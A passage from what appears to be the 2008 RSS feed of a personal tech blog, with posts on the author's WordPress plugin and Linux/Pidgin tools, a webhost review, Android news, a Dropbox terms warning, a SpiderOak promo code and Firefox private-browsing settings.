Examples of use cases could be to include your copyright message, advertisements (like adsense, etc), permalinks, your other site links, any other custom messages. This works very fine with ad plugins like adsense-manager etc, as you don&amp;rsquo;t have to manipulate your posts or templates to add the ad code, shantz-wp-prefix-suffix will do that for you automatically for all posts and with the adsense plugin you can control whether to &amp;ldquo;display&amp;rdquo; the ad or not.&lt;/p&gt;</description><content>&lt;p&gt;For those who are new to this plugin, Shantz WP Prefix Suffix is a light-weight and easy to use plugin which allows you to add any text, HTML/CSS/PHP/Javascript code to your posts and/or pages as prefix and/or suffix. (That includes even any new or old posts and pages and even your feed)
Examples of use cases could be to include your copyright message, advertisements (like adsense, etc), permalinks, your other site links, any other custom messages. This works very fine with ad plugins like adsense-manager etc, as you don&amp;rsquo;t have to manipulate your posts or templates to add the ad code, shantz-wp-prefix-suffix will do that for you automatically for all posts and with the adsense plugin you can control whether to &amp;ldquo;display&amp;rdquo; the ad or not.&lt;/p&gt;
&lt;p&gt;Changes in this version include options to enable/disable displaying the text/code on home page and excerpts. Also a small bug was fixed that displayed the code even if it was chosen not to.&lt;/p&gt;</content></item><item><title>Project: ShantzTodayChanger Is Now Open Source’d</title><link>https://shantanugoel.com/2008/10/30/project-shantztodaychanger-is-now-open-sourced/</link><pubDate>Thu, 30 Oct 2008 16:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/10/30/project-shantztodaychanger-is-now-open-sourced/</guid><description>&lt;p&gt;For those who don’t know ShantzTodayChanger is a small Windows Mobile tool that allows you to cycle through your wallpapers/themes or run applications after specified intervals of time automatically and provides you a lot of tweaking options to control this.&lt;/p&gt;
&lt;p&gt;Sometime back I formatted my laptop which I dual booted between Windows XP and Linux (Ubuntu, if you may ask). Now I installed Hardy Heron back onto thenew system within an hour but just can’t get myself motivated to “finish” the Windows install by getting and installing all the drivers after having to sit through hours pointing, clicking and rebooting to get just the base installed. And moreover, there is no drive in me to boot into windows now just to work on ShantzTodayChanger any more. So, I thought that I’ll release the source code so that if someone is willing to continue the development. I’ll still be available for questions, discussions, explanations etc about it if needed.&lt;/p&gt;</description><content>&lt;p&gt;For those who don’t know ShantzTodayChanger is a small Windows Mobile tool that allows you to cycle through your wallpapers/themes or run applications after specified intervals of time automatically and provides you a lot of tweaking options to control this.&lt;/p&gt;
&lt;p&gt;Sometime back I formatted my laptop which I dual booted between Windows XP and Linux (Ubuntu, if you may ask). Now I installed Hardy Heron back onto thenew system within an hour but just can’t get myself motivated to “finish” the Windows install by getting and installing all the drivers after having to sit through hours pointing, clicking and rebooting to get just the base installed. And moreover, there is no drive in me to boot into windows now just to work on ShantzTodayChanger any more. So, I thought that I’ll release the source code so that if someone is willing to continue the development. I’ll still be available for questions, discussions, explanations etc about it if needed.&lt;/p&gt;
&lt;p&gt;You are free to copy, modify and redistribute it. Only things that I ask of you are that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You retain all credits for me and my website in the source code, final product, and other material (readme etc) intact.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Also, please provide a linkback to the original home page of shantztodaychanger if you redistribute it through some other site, otherwise I’ll be happy to host your modified versions here.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You also have to release the modified source code in its entirety.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content></item><item><title>A Friend In Need Is A Good Webhost Indeed</title><link>https://shantanugoel.com/2008/10/27/a-friend-in-need-is-a-good-webhost-indeed/</link><pubDate>Mon, 27 Oct 2008 10:45:09 +0000</pubDate><guid>https://shantanugoel.com/2008/10/27/a-friend-in-need-is-a-good-webhost-indeed/</guid><description>&lt;p&gt;A webhost that puts building relationships with customers before making money is definitely a good webhost. And this works out to be good for you as well as the webhost in the end. Now, why am I saying this all which should be part of a “Doing Business 101” course. Because, in this world of unprofessional webhosting, &lt;a href="https://shantanugoel.com/2008/01/28/looking-for-a-host-for-a-party-that-you-will-throw.html"&gt;where people lure you with fool’s gold&lt;/a&gt;, promising everything unlimited and cutting you off with even the slightest of deviation from their “AUP” mumbo jumbo,  there still exist good webhosts which promise you very little but are good enough to deliver on them and then some more.&lt;/p&gt;</description><content>&lt;p&gt;A webhost that puts building relationships with customers before making money is definitely a good webhost. And this works out to be good for you as well as the webhost in the end. Now, why am I saying this all which should be part of a “Doing Business 101” course. Because, in this world of unprofessional webhosting, &lt;a href="https://shantanugoel.com/2008/01/28/looking-for-a-host-for-a-party-that-you-will-throw.html"&gt;where people lure you with fool’s gold&lt;/a&gt;, promising everything unlimited and cutting you off with even the slightest of deviation from their “AUP” mumbo jumbo,  there still exist good webhosts which promise you very little but are good enough to deliver on them and then some more.&lt;/p&gt;
&lt;p&gt;I had this experience with my webhost just a couple of days back. My site was being hammered by 100s and 1000s of visitors from stumbleupon, digg, linux.com, linuxtoday, lxer, lifehacker, etc all at the same time. Needless to say I ran out of my 15 GB monthly bandwidth in no time. So many visitors coming but finding a mundane “509 Bandwidth exceeded” error. Alas!&lt;/p&gt;
&lt;p&gt;I mailed my host that I was willing to pay a bit more to get some more bandwidth per month so that this doesnt occur in the future. I woke up in the morning and found a one-liner reply in my box that made my day “&lt;strong&gt;Increased monthly limit to 20 GB”. Without any charge.&lt;/strong&gt; &lt;strong&gt;Even though I was willing to pay&lt;/strong&gt; and  had told them so. And already I’m paying a very measly amount for my hosting (20$ per year) so they are not retaining a BIG customer as well. I’m just a tiny fish. If that is not the sign of a good webhost then I don’t know what is.&lt;/p&gt;
&lt;p&gt;You must be curious who my webhost is (those of you already haven’t whois’ed it). Well, the host is &lt;a href="http://www.rvh.in/billing/aff.php?aff=021"&gt;Real Value Hosting&lt;/a&gt;. Do visit them. We need to have more hosters like them.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Disclaimer: The link above is my affiliate link. If you like the stuff I write, click on it, if you don’t you are free to remove the affiliate code from it. Regardless of what you do, please make sure to visit realvaluehosting once. They are indeed very good and this review is not at all paid, sponsored or solicited by them in any sense. This is just the only way I thought I could show them a bit of gratitude I have for them.&lt;/em&gt;&lt;/p&gt;</content></item><item><title>Kill Lotus Notes And Restart Without Rebooting</title><link>https://shantanugoel.com/2008/10/23/kill-lotus-notes-and-restart-without-rebooting/</link><pubDate>Thu, 23 Oct 2008 16:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/10/23/kill-lotus-notes-and-restart-without-rebooting/</guid><description>&lt;p&gt;A friend called me today and happened to mention his biggest gripe about Lotus Notes, that it hangs ever so often (ok that’s acceptable), but the clincher is that if you kill it through the task manager it will not allow you to restart and relogin until you reboot your PC. Now, &lt;em&gt;that&lt;/em&gt; is a serious problem and a hit to productivity. But the omniscient angel I am, I had the solution ready (because till a couple of years ago, I was also haunted by this very issue every day). I told him about a small 20 kb application, simply but aptly named “&lt;a href="http://www-10.lotus.com/ldd/sandbox.nsf/0/7b70d2411b8dec9688256acb005c433f"&gt;KillNotes.exe&lt;/a&gt;”. When run, this utlitiy will properly terminate the process(es) that loaded nnotes.dll and turn you into a happy camper when you watch Lotus notes restart without giving you even an angry stare. I published this here in the hope that it helps someone else out there as well.&lt;/p&gt;</description><content>&lt;p&gt;A friend called me today and happened to mention his biggest gripe about Lotus Notes, that it hangs ever so often (ok that’s acceptable), but the clincher is that if you kill it through the task manager it will not allow you to restart and relogin until you reboot your PC. Now, &lt;em&gt;that&lt;/em&gt; is a serious problem and a hit to productivity. But the omniscient angel I am, I had the solution ready (because till a couple of years ago, I was also haunted by this very issue every day). I told him about a small 20 kb application, simply but aptly named “&lt;a href="http://www-10.lotus.com/ldd/sandbox.nsf/0/7b70d2411b8dec9688256acb005c433f"&gt;KillNotes.exe&lt;/a&gt;”. When run, this utlitiy will properly terminate the process(es) that loaded nnotes.dll and turn you into a happy camper when you watch Lotus notes restart without giving you even an angry stare. I published this here in the hope that it helps someone else out there as well.&lt;/p&gt;</content></item><item><title>Google Releases Android Source Code</title><link>https://shantanugoel.com/2008/10/21/google-releases-android-source-code/</link><pubDate>Tue, 21 Oct 2008 17:57:52 +0000</pubDate><guid>https://shantanugoel.com/2008/10/21/google-releases-android-source-code/</guid><description>&lt;p&gt;FOSS (Free and Open Source Software) community rejoices today as google finally lived upto their promise of &lt;a href="http://google-opensource.blogspot.com/2008/10/android-open-source-cell-phone.html"&gt;releasing&lt;/a&gt; the &lt;a href="http://source.android.com/"&gt;android source code&lt;/a&gt;. Now, the things that is left to be evaluated is that how much of it is actually true, or whether there are some binary blobs still in there. Moreover, it remains to be seen that how much this converts into a “community” project instead of being ruled by Google with an iron hand. But given the interest that Android has generated so far, and given google’s reputation as a good open source promoter, I am ready to believe that this is going to be one of the biggest landmarks that mobile FOSS industry will see. And maybe, this will finally motivate me as well to get involved in the “bigger picture” finally by contributing to a project that is more than just a few thousand lines of source. What is your opinion and expectation from this development? Let me know.&lt;/p&gt;</description><content>&lt;p&gt;FOSS (Free and Open Source Software) community rejoices today as google finally lived upto their promise of &lt;a href="http://google-opensource.blogspot.com/2008/10/android-open-source-cell-phone.html"&gt;releasing&lt;/a&gt; the &lt;a href="http://source.android.com/"&gt;android source code&lt;/a&gt;. Now, the things that is left to be evaluated is that how much of it is actually true, or whether there are some binary blobs still in there. Moreover, it remains to be seen that how much this converts into a “community” project instead of being ruled by Google with an iron hand. But given the interest that Android has generated so far, and given google’s reputation as a good open source promoter, I am ready to believe that this is going to be one of the biggest landmarks that mobile FOSS industry will see. And maybe, this will finally motivate me as well to get involved in the “bigger picture” finally by contributing to a project that is more than just a few thousand lines of source. What is your opinion and expectation from this development? Let me know.&lt;/p&gt;</content></item><item><title>Android Devices Trickling In A Few Days Early?</title><link>https://shantanugoel.com/2008/10/20/android-devices-trickling-in-a-few-days-early/</link><pubDate>Mon, 20 Oct 2008 19:32:35 +0000</pubDate><guid>https://shantanugoel.com/2008/10/20/android-devices-trickling-in-a-few-days-early/</guid><description>&lt;p&gt;There is still a day left for the first Android based Device, T-Mobile G1, to come out into the hands of general public but I was in a for a small surprise as I went through my Google Analytics report for the last week. It had a mysterious number of 2 sitting at the bottom of my “Unique Visitors by Operating Systems” filter report. The “mysterious” part coming from the fact that the left most column displayed “Android”.&lt;/p&gt;</description><content>&lt;p&gt;There is still a day left for the first Android based Device, T-Mobile G1, to come out into the hands of general public but I was in a for a small surprise as I went through my Google Analytics report for the last week. It had a mysterious number of 2 sitting at the bottom of my “Unique Visitors by Operating Systems” filter report. The “mysterious” part coming from the fact that the left most column displayed “Android”.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/Operating_2DSystems_2DGoogle_20Analytics_2Dreport_2Dandroid_2Dt_2Dmobile_2Dg1.png" alt="Operating-Systems-Google Analytics-report-android-t-mobile-g1"&gt;&lt;/p&gt;
&lt;p&gt;Now, the question is whether the T-Mobile G1 (aka HTC dream) is already out into a few hands (leaked to lucky googlers/HTCers/T-Mobilers?) or somebody just modified the agent string reported to my web server? (Since this is a “unique visitors” report, the 2 people have to be different and hence second option doesn’t seem likely to me)&lt;/p&gt;</content></item><item><title>Project: Shantz-XwinWrap Updated to 0.02</title><link>https://shantanugoel.com/2008/10/18/project-shantz-xwinwrap-updated-to-002/</link><pubDate>Sat, 18 Oct 2008 11:03:48 +0000</pubDate><guid>https://shantanugoel.com/2008/10/18/project-shantz-xwinwrap-updated-to-002/</guid><description>&lt;p&gt;As some of you know that I&amp;rsquo;ve taken up the development of the ultra-cool xwinwrap tool that allows you to use movies, screensavers etc as wallpapers for you linux desktops. Here is version 0.02 for you consumption that fixes a bug because of which the generated window was overlapping other windows.&lt;br&gt;
The download file has plain executable binaries as well as deb packages for Ubuntu. Moreover, I&amp;rsquo;ve included both 32 bit as well as 64 bit versions.&lt;/p&gt;</description><content>&lt;p&gt;As some of you know that I&amp;rsquo;ve taken up the development of the ultra-cool xwinwrap tool that allows you to use movies, screensavers etc as wallpapers for you linux desktops. Here is version 0.02 for you consumption that fixes a bug because of which the generated window was overlapping other windows.&lt;br&gt;
The download file has plain executable binaries as well as deb packages for Ubuntu. Moreover, I&amp;rsquo;ve included both 32 bit as well as 64 bit versions.&lt;/p&gt;</content></item><item><title>Project: My WordPress Plugin "Shantz WP Prefix Suffix" Updated to 1.0.4</title><link>https://shantanugoel.com/2008/10/15/project-my-wordpress-plugin-shantz-wp-prefix-suffix-updated-to-104/</link><pubDate>Wed, 15 Oct 2008 12:48:42 +0000</pubDate><guid>https://shantanugoel.com/2008/10/15/project-my-wordpress-plugin-shantz-wp-prefix-suffix-updated-to-104/</guid><description>&lt;p&gt;For those who don&amp;rsquo;t know Shantz-WP-Prefix-Suffix is a WordPress plugin that allows you to add any text and/or HTML/CSS/PHP/Javascript code to the top or bottom of your posts (e.g. see my site links at top of each post and the copyright link and permalink at the bottom of each)
I&amp;rsquo;ve updated it to version 1.0.4 which allows you to add PHP code to the top or bottom of your posts now.
This is very useful for you especially if you want to display some ads that use php or javascript (I&amp;rsquo;m using it as well for adsense on this blog)&lt;/p&gt;</description><content>&lt;p&gt;For those who don&amp;rsquo;t know Shantz-WP-Prefix-Suffix is a WordPress plugin that allows you to add any text and/or HTML/CSS/PHP/Javascript code to the top or bottom of your posts (e.g. see my site links at top of each post and the copyright link and permalink at the bottom of each)
I&amp;rsquo;ve updated it to version 1.0.4 which allows you to add PHP code to the top or bottom of your posts now.
This is very useful for you especially if you want to display some ads that use php or javascript (I&amp;rsquo;m using it as well for adsense on this blog)&lt;/p&gt;</content></item><item><title>Satellite TV (DTH) In India: A Guide</title><link>https://shantanugoel.com/2008/10/09/satellite-tv-dth-in-india-a-guide/</link><pubDate>Thu, 09 Oct 2008 17:57:57 +0000</pubDate><guid>https://shantanugoel.com/2008/10/09/satellite-tv-dth-in-india-a-guide/</guid><description>&lt;p&gt;&lt;a href="http://amitslab.com/blog"&gt;Amit&lt;/a&gt; has written a detailed &lt;a href="http://amitslab.com/blog/2008/10/09/indian-satellite-tv-dth-players-the-war-has-begun/"&gt;Satellite TV (DTH) Guide and Comparison&lt;/a&gt; about the scene in India. He compares the various players that are operating right now and gives suggestions on what should one look at while choosing out of all the available operators. If you are confused about what the advent of all these different names like Tata Sky (Tata), Big TV (Reliance) and Airtel Digital TV (Bharti) means for you, then do take a look at it.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="http://amitslab.com/blog"&gt;Amit&lt;/a&gt; has written a detailed &lt;a href="http://amitslab.com/blog/2008/10/09/indian-satellite-tv-dth-players-the-war-has-begun/"&gt;Satellite TV (DTH) Guide and Comparison&lt;/a&gt; about the scene in India. He compares the various players that are operating right now and gives suggestions on what should one look at while choosing out of all the available operators. If you are confused about what the advent of all these different names like Tata Sky (Tata), Big TV (Reliance) and Airtel Digital TV (Bharti) means for you, then do take a look at it.&lt;/p&gt;</content></item><item><title>TIP: Free Downloads For Windows Vista, XP Professional, Visual Studio 2008, MSDN And Much More</title><link>https://shantanugoel.com/2008/10/08/tip-free-downloads-for-windows-vista-xp-professional-visual-studio-2008-msdn-and-much-more/</link><pubDate>Wed, 08 Oct 2008 19:31:52 +0000</pubDate><guid>https://shantanugoel.com/2008/10/08/tip-free-downloads-for-windows-vista-xp-professional-visual-studio-2008-msdn-and-much-more/</guid><description>&lt;p&gt;If you are a student (this works for non-students as well but I expect you to be honest ;) ), you can download a whole bunch of software for free. How? Well, all you need is to become an ACM student member, and join the MSDN AA (Microsoft Developer Network Academic Alliance) ACM Student Benefit Program.&lt;/p&gt;
&lt;p&gt;Normally it takes around 19$ for you to become a student member but you can do it for free for a limited time by going to &lt;a href="http://campus.acm.org/icpc/"&gt;http://campus.acm.org/icpc/&lt;/a&gt;&lt;/p&gt;</description><content>&lt;p&gt;If you are a student (this works for non-students as well but I expect you to be honest ;) ), you can download a whole bunch of software for free. How? Well, all you need is to become an ACM student member, and join the MSDN AA (Microsoft Developer Network Academic Alliance) ACM Student Benefit Program.&lt;/p&gt;
&lt;p&gt;Normally it takes around 19$ for you to become a student member but you can do it for free for a limited time by going to &lt;a href="http://campus.acm.org/icpc/"&gt;http://campus.acm.org/icpc/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So, the steps to get all these software for free are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to the above mentioned link and sign up for ACM student membership&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once you join, create an ACM web account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log into My ACM, and then opt into MSDN AA ACM Student Benefit Program (Look for the link: &lt;strong&gt;Free Software for ACM Students&lt;/strong&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You’ll get an approval email within 24 hours after which you can log on to your MSDN AA account and download your choice of softwares.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The Softwares that you can now download for free through this are:&lt;/p&gt;
&lt;p&gt;Windows Vista
Windows XP Professional
Windows Server 2008
Visual Studio 2008 Professional
Visio Professional2007
Office Project Professional 2007
Access 2007
Visual Studio 2005 Team System SQL Server 2005
Expression Studio
Sharepoint Designer 2007
Virtual PC 2007
Virtual PC for Mac 7.0.2
Visual C# 2005 Express Edition
Visual C++ 2005 Express Edition
And much, much more!&lt;/p&gt;
&lt;p&gt;Let me know if this helped you out or if you have any other such free deals/tips of your own.&lt;/p&gt;</content></item><item><title>Check Out T-Mobile G1/HTC Dream/Android Emulator Online</title><link>https://shantanugoel.com/2008/10/04/check-out-t-mobile-g1htc-dreamandroid-emulator-online/</link><pubDate>Sat, 04 Oct 2008 22:51:27 +0000</pubDate><guid>https://shantanugoel.com/2008/10/04/check-out-t-mobile-g1htc-dreamandroid-emulator-online/</guid><description>&lt;p&gt;Just came across this very cool online emulator that lets you get a first hand experience of how the Google Android based phone T-Mobile G1 (aka HTC Dream) will look and behave like. The sliding notification mechanisms look cool, few of the things aren&amp;rsquo;t working but still a good thing to check out. However, I don&amp;rsquo;t know if this is an official site by T-Mobile or not.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/t_2Dmobile_2Dg1_2Dhtc_2Ddream_2Dandroid_2Demulator.jpg" alt="T-mobile-g1-htc-dream-android-emulator"&gt;&lt;/p&gt;
&lt;p&gt;Linky: &lt;a href="http://tmobile.modeaondemand.com/htc/g1/"&gt;http://tmobile.modeaondemand.com/htc/g1/&lt;/a&gt;&lt;/p&gt;</description><content>&lt;p&gt;Just came across this very cool online emulator that lets you get a first hand experience of how the Google Android based phone T-Mobile G1 (aka HTC Dream) will look and behave like. The sliding notification mechanisms look cool, few of the things aren&amp;rsquo;t working but still a good thing to check out. However, I don&amp;rsquo;t know if this is an official site by T-Mobile or not.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/t_2Dmobile_2Dg1_2Dhtc_2Ddream_2Dandroid_2Demulator.jpg" alt="T-mobile-g1-htc-dream-android-emulator"&gt;&lt;/p&gt;
&lt;p&gt;Linky: &lt;a href="http://tmobile.modeaondemand.com/htc/g1/"&gt;http://tmobile.modeaondemand.com/htc/g1/&lt;/a&gt;&lt;/p&gt;</content></item><item><title>Project: Shantz Pidgin Away Alerts (splert) Updated to 0.03</title><link>https://shantanugoel.com/2008/10/03/project-shantz-pidgin-away-alerts-splert-updated-to-003/</link><pubDate>Fri, 03 Oct 2008 21:19:08 +0000</pubDate><guid>https://shantanugoel.com/2008/10/03/project-shantz-pidgin-away-alerts-splert-updated-to-003/</guid><description>&lt;p&gt;I updated my project splert to version 0.03 today.For those who don&amp;rsquo;t know splert is a tool that lets you convert the multi-client instant messenger pidgin (connects to gtalk, msn, yahoo, jabber, etc) into a full blown answering machine and much more.&lt;/p&gt;
&lt;p&gt;The main changes are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Now you can use other 3rd party twitter bots with it to get updates through twitter since the official twitter bot is down since a long time and there are no chances of coming back soon.&lt;/p&gt;</description><content>&lt;p&gt;I updated my project splert to version 0.03 today.For those who don&amp;rsquo;t know splert is a tool that lets you convert the multi-client instant messenger pidgin (connects to gtalk, msn, yahoo, jabber, etc) into a full blown answering machine and much more.&lt;/p&gt;
&lt;p&gt;The main changes are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Now you can use other 3rd party twitter bots with it to get updates through twitter since the official twitter bot is down since a long time and there are no chances of coming back soon.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can also use it even when you are not &amp;ldquo;away&amp;rdquo; by specifying the status when you want it to work. (e.g. any, available, unavailable, invisible, etc. Use splert -h to see all available status types). As an example, you can use this to selectively talk to people when you are busy.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(As usual, binary files as well as 32 bit and 64 bit ubuntu/debian deb packages are available)&lt;/p&gt;</content></item><item><title>TIP: A Post For Pidgin Plugin Developers</title><link>https://shantanugoel.com/2008/09/23/tip-a-post-for-pidgin-plugin-developers/</link><pubDate>Tue, 23 Sep 2008 15:30:32 +0000</pubDate><guid>https://shantanugoel.com/2008/09/23/tip-a-post-for-pidgin-plugin-developers/</guid><description>&lt;p&gt;Recently I wrote a small autoreply-answering-machine app for pidgin with a simple premise. Send custom automatic replies to different people when they message you and came across a strange bug. It never sent the reply when you received the first message from someone. I was using the &amp;ldquo;ReceivedImMessage&amp;rdquo; signal over d-bus (or &amp;ldquo;received-im-message&amp;rdquo; for the plugin writers). What I found initially looked to be a gross and basic error by pidgin developers, but later found that it is indeed a good design and thought that I&amp;rsquo;ll make a post about it for the benefit of fellow pidgin plugin/app developers.&lt;/p&gt;</description><content>&lt;p&gt;Recently I wrote a small autoreply-answering-machine app for pidgin with a simple premise. Send custom automatic replies to different people when they message you and came across a strange bug. It never sent the reply when you received the first message from someone. I was using the &amp;ldquo;ReceivedImMessage&amp;rdquo; signal over d-bus (or &amp;ldquo;received-im-message&amp;rdquo; for the plugin writers). What I found initially looked to be a gross and basic error by pidgin developers, but later found that it is indeed a good design and thought that I&amp;rsquo;ll make a post about it for the benefit of fellow pidgin plugin/app developers.&lt;/p&gt;
&lt;p&gt;After a bit of debugging I saw that when I received the ReceivedImMessage signal for the first message, the &amp;ldquo;Conversation ID&amp;rdquo; field is not a valid value but 0. Thereafter, I got the correct value every time. Searching on the google didn&amp;rsquo;t reveal much except a few other people complaining about the same and someone saying that this is a bug because pidgin first sends the signal and then creates the conversation while it should be the other way round.  Fair enough. But then&amp;hellip;&lt;/p&gt;
&lt;p&gt;Then I came across a short explanation by a pidgin developer, seanegen, (sorry lost the link somewhere). Basically, the reason behind this is that all the checks (e.g. Blacklists etc) are performed after one gets this signal, and hence they dont create the window otherwise it might be created even if you have blocked the person who is sending you the message. Perfect explanation.&lt;/p&gt;
&lt;p&gt;But, what&amp;rsquo;s the solution. Simple..Use the &amp;ldquo;DisplayedImMessage&amp;rdquo; (or &amp;ldquo;displayed-im-message&amp;rdquo; signal) which is sent, once the conversation has been created. That&amp;rsquo;s it. Hope that this post benefit you.&lt;/p&gt;</content></item><item><title>Dropbox Online Storage Public/Shared Folders: A Word Of Caution</title><link>https://shantanugoel.com/2008/09/16/dropbox-online-storage-publicshared-folders-a-word-of-caution/</link><pubDate>Tue, 16 Sep 2008 14:26:50 +0000</pubDate><guid>https://shantanugoel.com/2008/09/16/dropbox-online-storage-publicshared-folders-a-word-of-caution/</guid><description>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; In a &lt;a href="http://forums.getdropbox.com/topic.php?id=4207"&gt;thread about this post at Dropbox forums&lt;/a&gt;, it was brought to my notice that Dropbox has now changed its &lt;a href="https://www.getdropbox.com/terms#terms"&gt;terms&lt;/a&gt; to remove the objectionable clause.&lt;/p&gt;
&lt;p&gt;If you use dropbox (A popular online storage service with free 2 GB space), and use (or intend to use) its public or shared folders feature, then you must know something about the EULA (End Users&amp;rsquo; LIcense Agreement). Yes, the one that you clicked &amp;ldquo;I Agree&amp;rdquo; on, without even reading one word of. Basically, you need to know the following lines:&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; In a &lt;a href="http://forums.getdropbox.com/topic.php?id=4207"&gt;thread about this post at Dropbox forums&lt;/a&gt;, it was brought to my notice that Dropbox has now changed its &lt;a href="https://www.getdropbox.com/terms#terms"&gt;terms&lt;/a&gt; to remove the objectionable clause.&lt;/p&gt;
&lt;p&gt;If you use dropbox (A popular online storage service with free 2 GB space), and use (or intend to use) its public or shared folders feature, then you must know something about the EULA (End Users&amp;rsquo; LIcense Agreement). Yes, the one that you clicked &amp;ldquo;I Agree&amp;rdquo; on, without even reading one word of. Basically, you need to know the following lines:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;While you own the content contained in Your Files, you hereby grant all other Dropbox users a non-exclusive, worldwide, royalty-free, sublicensable, perpetual and irrevocable right and license to use and exploit Your Files in your public folder. In addition, you hereby grant Dropbox users who have been given access to your shared folder a non-exclusive, worldwide, royalty-free, sublicensable, perpetual and irrevocable right and license to use and exploit Your Files in your shared folder.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What this means is that anything you share with anyone through dropbox falls into almost-public domain. This includes any pics, docs, source code, etc. So, be warned and use the service with care and descrition. :) PS: I searched SpiderOak&amp;rsquo;s EULA for similar terms but it looks clean to me. Are there any other services that you know having such hidden gotchas? (Although we must admit they are not so hidden after all, but it is us who turn a blind eye towards the terms)&lt;/p&gt;</content></item><item><title>SpiderOak Promotion Code For Free Upgrade To 10 GB</title><link>https://shantanugoel.com/2008/09/12/spideroak-promotion-code-for-free-upgrade-to-10-gb/</link><pubDate>Fri, 12 Sep 2008 20:58:32 +0000</pubDate><guid>https://shantanugoel.com/2008/09/12/spideroak-promotion-code-for-free-upgrade-to-10-gb/</guid><description>&lt;p&gt;Just a small shout out to let you guys know that you can use the discount coupon code “linkup” while signing up the excellent online backup service &lt;a href="http://spideroak.com/"&gt;SpiderOak&lt;/a&gt; to get a major bump to 10 GB from the 2 GB that they give to normal accounts.&lt;/p&gt;
&lt;p&gt;For those who don’t know SpiderOak is a great online data backup service, with its major strengths being truly cross paltform (Mac/Linux/Windows – 32 bit as well as 64 bit), easy interface, rsync like differential backups to save time and disk space, versioned file history, web as well as client interface, unlimited number of devices, unlimited bandwidth, etc etc.&lt;/p&gt;</description><content>&lt;p&gt;Just a small shout out to let you guys know that you can use the discount coupon code “linkup” while signing up the excellent online backup service &lt;a href="http://spideroak.com/"&gt;SpiderOak&lt;/a&gt; to get a major bump to 10 GB from the 2 GB that they give to normal accounts.&lt;/p&gt;
&lt;p&gt;For those who don’t know SpiderOak is a great online data backup service, with its major strengths being truly cross paltform (Mac/Linux/Windows – 32 bit as well as 64 bit), easy interface, rsync like differential backups to save time and disk space, versioned file history, web as well as client interface, unlimited number of devices, unlimited bandwidth, etc etc.&lt;/p&gt;
&lt;p&gt;BTW, let me know if you use any other good online backup services. And what are your views about &lt;a href="http://getdropbox.com/"&gt;Dropbox&lt;/a&gt; that just came out of beta and even released a linux client finally…&lt;/p&gt;</content></item><item><title>Firefox Incognito / Private Browsing Mode - Part II</title><link>https://shantanugoel.com/2008/09/11/firefox-incognito-private-browsing-mode-part-ii/</link><pubDate>Thu, 11 Sep 2008 16:59:33 +0000</pubDate><guid>https://shantanugoel.com/2008/09/11/firefox-incognito-private-browsing-mode-part-ii/</guid><description>&lt;p&gt;A few people (e.g. &lt;a href="http://paheli.net/blog/2008/09/11/security-and-usability-google-chromes-incognito-mode/"&gt;Varun&lt;/a&gt;) told me &lt;a href="https://shantanugoel.com/2008/09/10/firefox-incognito-mode-is-here-move-over-chromeie8.html"&gt;my previous post&lt;/a&gt; differed from the way how google chrome / Microsoft IE8 handle Incognito (Private Browsing) mode. The main consideration was that while chrome/IE8 don&amp;rsquo;t write anything to disk at all, the firefox method is an after-effect, i.e., writing to disk and then clearing it up while closing the window. Well, true but nothing is non-rectificable :). So this is a post about a method that one can use to go &amp;ldquo;really&amp;rdquo; undercover with firefox. But before we begin, please make sure you have read Part 1 of my post, because here I&amp;rsquo;ll start from the point where we left off in the earlier post.&lt;/p&gt;</description><content>&lt;p&gt;A few people (e.g. &lt;a href="http://paheli.net/blog/2008/09/11/security-and-usability-google-chromes-incognito-mode/"&gt;Varun&lt;/a&gt;) told me &lt;a href="https://shantanugoel.com/2008/09/10/firefox-incognito-mode-is-here-move-over-chromeie8.html"&gt;my previous post&lt;/a&gt; differed from the way how google chrome / Microsoft IE8 handle Incognito (Private Browsing) mode. The main consideration was that while chrome/IE8 don&amp;rsquo;t write anything to disk at all, the firefox method is an after-effect, i.e., writing to disk and then clearing it up while closing the window. Well, true but nothing is non-rectificable :). So this is a post about a method that one can use to go &amp;ldquo;really&amp;rdquo; undercover with firefox. But before we begin, please make sure you have read Part 1 of my post, because here I&amp;rsquo;ll start from the point where we left off in the earlier post.&lt;/p&gt;
&lt;p&gt;I began thinking on the lines of setting up a ramdisk first (and remapping the browser cache folders to the new path in this ramdisk), so that nothing gets written to the hard disk, ever, even if the browser tries very hard. Best security right? Yes, but it involved a few issues like data is still there until you reboot also a part of your ram is always blocked, etc. So I went with the approach given below.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Method: Easier and privacy on-par with Chrome/IE8&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Just do the following in addition to the Step 4.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Uncheck &amp;ldquo;Keep my history&amp;rdquo;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Uncheck &amp;ldquo;Remember what I enter in forms and the search bar&amp;rdquo;&lt;/p&gt;
